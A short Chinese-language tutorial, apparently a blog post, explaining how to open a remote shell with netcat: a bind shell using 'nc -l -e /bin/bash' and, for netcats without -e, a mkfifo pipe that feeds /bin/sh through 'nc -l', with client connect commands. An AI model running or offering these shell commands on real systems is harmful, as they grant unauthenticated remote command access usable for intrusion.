linux nc 开shell

使用netcat创建远程shell

1、假设你的netcat支持 -c -e 参数(默认 netcat)

Server


$nc -l 1567 -e /bin/bash -i

Client


$nc 172.31.100.7 1567

这里我们已经创建了一个netcat服务器并且表示当它连接成功时执行/bin/bash

2、假如netcat 不支持-c 或者 -e 参数(openbsd netcat,我们仍然能够创建远程shell

Server


$mkfifo /tmp/tmp_fifo

$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo

这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口1567上。至此,我们已经把netcat的输出重定向到fifo文件中。

说明:

从网络收到的输入写到fifo文件中

cat 命令读取fifo文件并且其内容发送给sh命令

sh命令进程受到输入并把它写回到netcat

netcat 通过网络发送输出到client

至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。

在客户端仅仅简单连接到服务器

Client


$nc -n 172.31.100.7 1567

你会得到一个shell提示符在客户端

你可能感兴趣的:(linux,nc)